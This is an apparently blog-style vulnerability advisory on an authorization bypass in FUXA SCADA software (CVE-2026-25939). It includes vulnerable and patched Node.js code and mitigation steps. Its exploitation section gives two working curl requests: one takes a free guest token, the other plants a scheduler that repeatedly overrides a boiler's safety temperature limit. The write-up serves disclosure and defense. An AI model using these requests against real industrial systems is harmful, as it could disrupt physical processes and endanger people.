Feb 10, 2026·6 min read·18 visits
FUXA's 'Heartbeat' API hands out Guest JWTs like candy. The Scheduler API checks if the token is signed, but forgets to check if the user is actually allowed to touch the machinery. Result: Unauthenticated remote control of industrial hardware.
A critical authorization bypass vulnerability in FUXA SCADA software (versions 1.2.8 - 1.2.10) allows unauthenticated attackers to obtain 'Guest' privileges and subsequently manipulate system schedulers. Because FUXA schedulers can directly control PLC registers and execute server-side scripts, this flaw permits remote actors to disrupt industrial processes, modify equipment states, or exhaust system resources without valid credentials.
Operational Technology (OT) and Information Technology (IT) have been awkwardly dating for years, and FUXA is their love child: a web-based Process Visualization system (SCADA/HMI) built on Node.js. It’s sleek, it’s modern, and it allows engineers to control valves, pumps, and sensors from a browser. It’s also a perfect example of why 'modern web stack' and 'critical infrastructure' are a terrifying combination when security is an afterthought.
In the world of SCADA, authorization is everything. You don't want the intern turning off the cooling system, and you certainly don't want a random script kiddie on the internet doing it. But in CVE-2026-25939, that's exactly what happened. The developers implemented a 'Guest' mode—a feature that sounds polite but, in this context, is akin to leaving your house keys under the mat and putting up a billboard about it.
This isn't a complex buffer overflow or a heap grooming masterclass. This is a logic flaw, pure and simple. It’s the digital equivalent of a security guard checking that you have a badge, but not bothering to read the name on it before letting you into the vault.
The vulnerability lies in how FUXA handles its JWT (JSON Web Token) authentication flow, specifically between the 'Heartbeat' and 'Scheduler' endpoints. FUXA is designed to be user-friendly, and part of that friendliness is a 'Guest' access feature. If you hit the API without a token, the system essentially shrugs and hands you a guest badge so you can view the dashboard.
Here is the logic in the heartbeat endpoint (/api/heartbeat). If you aren't authenticated, it calls authJwt.getGuestToken():
// server/api/index.js (The Vending Machine)
apiApp.post('/api/heartbeat', authMiddleware, function (req, res) {
if (req.body.params) {
if (!req.isAuthenticated) {
// "Oh, you're new here? Here's a key."
return res.json({
token: authJwt.getGuestToken()
});
}
}
return res.end();
});The problem wasn't issuing the token; guests need to see things. The problem was that other critical parts of the API trusted this token too much. The Scheduler API (/api/scheduler), which is responsible for automating tasks (like toggling a PLC bit at 5:00 PM), was protected by middleware called secureFnc.
Crucially, secureFnc only verified that the JWT was cryptographically valid. It checked the signature. It did not check the scope or role. So, when an attacker presented a valid Guest token (obtained freely from the heartbeat), the Scheduler API said, "Signature matches! Right this way, sir," allowing the Guest to create, modify, or delete schedules that control physical machinery.
Let's look at the breakdown. The vulnerability exists because the scheduler route handlers lacked an explicit check for the 'guest' role. They assumed that if you passed the middleware, you were an admin or an operator.
The Vulnerable Code (Before):
// server/api/scheduler/index.js
schedulerApp.post("/api/scheduler", secureFnc, function(req, res) {
// No role check here.
// If secureFnc passed, you are in.
var scheduler = req.body;
schedulerManager.setScheduler(scheduler).then(...);
});The Fix (Commit 5782b35):
The developers had to manually insert a gatekeeper logic to reject guests. This highlights a failure in the middleware design (authorization should ideally be declarative), but the patch is effective.
// server/api/scheduler/index.js (Patched)
schedulerApp.post("/api/scheduler", secureFnc, function(req, res) {
// explicitly checking if the user is a guest
const isGuest = authJwt.isGuestUser(req.userId, req.userGroups);
// If secure mode is on AND you are a guest -> GTFO
if (runtime.settings?.secureEnabled && isGuest) {
res.status(401).json({error:"unauthorized_error", message: "Unauthorized!"});
runtime.logger.error("api post scheduler: Unauthorized guest");
return;
}
// ... proceed to save scheduler
});It is worth noting that they also had to patch the DELETE method. Without that, a guest couldn't add new malicious schedules, but they could still sabotage operations by deleting existing safety checks or maintenance routines.
Exploiting this is trivially easy, which makes it dangerous. There is no memory corruption, no race condition to win. It is just two HTTP requests.
Step 1: Get the Guest Badge First, we ask the server for a token. We don't need credentials.
curl -X POST http://target-scada:1881/api/heartbeat \
-H "Content-Type: application/json" \
-d '{"params": true}'Response: {"token": "eyJhbGciOi...<Guest_JWT>..."}
Step 2: Command the Machine
Now we use that token to inject a scheduler. In FUXA, a scheduler can write to a Tag (a variable mapped to a PLC register). Let's say Tag ID device1.temperature_limit controls the safety cutoff for a boiler. We can overwrite it.
curl -X POST http://target-scada:1881/api/scheduler \
-H "x-access-token: eyJhbGciOi...<Guest_JWT>..." \
-H "Content-Type: application/json" \
-d '{
"id": "exploit_task",
"name": "Boiler_Overheat",
"type": "value",
"tagId": "device1.temperature_limit",
"value": 9999,
"interval": 1000
}'The Result: The server accepts the request. The FUXA backend now contains a persistent task that will repeatedly set the temperature limit to an unsafe value every second. Even if an operator tries to lower it manually, the scheduler will fight them and overwrite it immediately. This is persistent denial of service (DoS) or worse, depending on what the PLC controls.
In a standard web app, an authorization bypass might let you deface a homepage. In ICS/SCADA, it lets you break physics. FUXA is used to visualize and control industrial processes. By bypassing authorization to the Scheduler, an attacker gains Write Access to the underlying industrial protocol.
This vulnerability scores a CVSS 9.3 for a reason. The lack of PR (Privileges Required) and the High Integrity impact (VI:H) creates a worst-case scenario for exposed HMI panels.
If you are running FUXA, you need to stop what you are doing and check your version. If it is between 1.2.8 and 1.2.10, you are vulnerable.
Immediate Steps:
scheduler.json or database. Look for tasks you didn't create. If you see a scheduler named "pwned" or one modifying critical tags at odd hours, you have already been visited.secureEnabled is set to true in your settings. If security is disabled entirely, this patch won't help you because the middleware won't even run.Defense in Depth: Why is your SCADA interface on the internet? Put it behind a VPN. Use an industrial firewall. FUXA's internal auth logic failed, but a network-level control (limiting access to port 1881 to trusted IPs) would have mitigated the risk of remote exploitation.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H| Product | Affected Versions | Fixed Version |
|---|---|---|
FUXA frangoteam | >= 1.2.8, <= 1.2.10 | 1.2.11 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-25939 |
| CWE | CWE-862 (Missing Authorization) |
| CVSS 4.0 | 9.3 (Critical) |
| Affected Versions | 1.2.8 - 1.2.10 |
| Attack Vector | Network (Remote) |
| Privileges Required | None |
The software does not perform an authorization check when an actor attempts to access a resource or perform an action.